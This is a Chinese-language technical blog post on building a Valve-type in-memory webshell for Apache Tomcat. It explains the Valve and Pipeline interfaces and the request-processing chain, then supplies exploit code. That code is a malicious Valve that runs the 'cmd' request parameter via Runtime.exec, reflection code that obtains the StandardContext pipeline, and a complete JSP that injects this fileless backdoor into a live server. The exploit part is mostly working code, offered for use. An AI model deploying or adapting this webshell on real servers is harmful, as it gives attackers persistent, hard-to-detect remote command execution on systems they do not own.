Tomcat内存马:Valve型

Uncategorized
728 words

前言

这一块的关键点还在tomcat的管道机制上,前面在基本知识那里已经写过了,就不多赘述了
基本就是一个Context -> Pipeline -> Valve 的层次顺序。
我们来看一下几个接口的源码吧,先看看Valve接口的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.apache.catalina;  
import java.io.IOException;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}

getNext()指向下一个Valve,我们能够看出来Valve并不是我们想象的那样,是存在Pipline的一个数组元素,而是一个类似于链表的机制。invoke 方法这里是具体操作的实现方法,我们的恶意代码后面就是插在这里的,我们再看一下Pipline接口的源码。

1
2
3
4
5
6
7
8
9
public interface Pipeline extends Contained {  
public void setBasic(Valve valve);
public void addValve(Valve valve);
public Valve[] getValves();
public void removeValve(Valve valve);
public Valve getFirst();
public boolean isAsyncSupported();
public void findNonAsyncValves(Set<String> result);
}

能够看出这里提供了很多关于Vavle操作的方法,我们后面重点关注一下addValve()这个方法,毕竟我们还得靠它来把恶意的Valve给绑到Pipeline上。

流程分析

因为这个管道机制是发生在处理请求的时候嘛,我们直接在Servlet随便加个断点往前回溯即可跟踪流程,这里看一下调用栈,跟到第一个invoke调用前地方。


该部分代码如下,从当前管道的第一个invoke开始链式调用,如果当前的valve已经是当前管道的最后一个valve则调用下一层管道的第一个valve循环往复,直到最后一层管道的最后一个valve被调用,下面随便附上几张图。



到这一步,我们的构造思路就已经非常显然了,只要随便把我们的恶意valve插到以上的任意一个管道里面即可。

Exp编写

恶意Valve

1
2
3
4
5
6
7
8
9
10
class ValveShell extends ValveBase{  
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
} catch (Exception e) {
}
}
}

获取Pipeline对象

和前文尽量保持思路一致吧,只要能获得到StandardContext就能获得到Pipeline,所以怎么都好说。

1
2
3
4
5
6
7
8
9
10
11
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Pipeline pipeline = standardContext.getPipeline();

添加进Pipline

1
2
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);

完整Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

Pipeline pipeline = standardContext.getPipeline();
%>

<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>

<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>

运行结果如下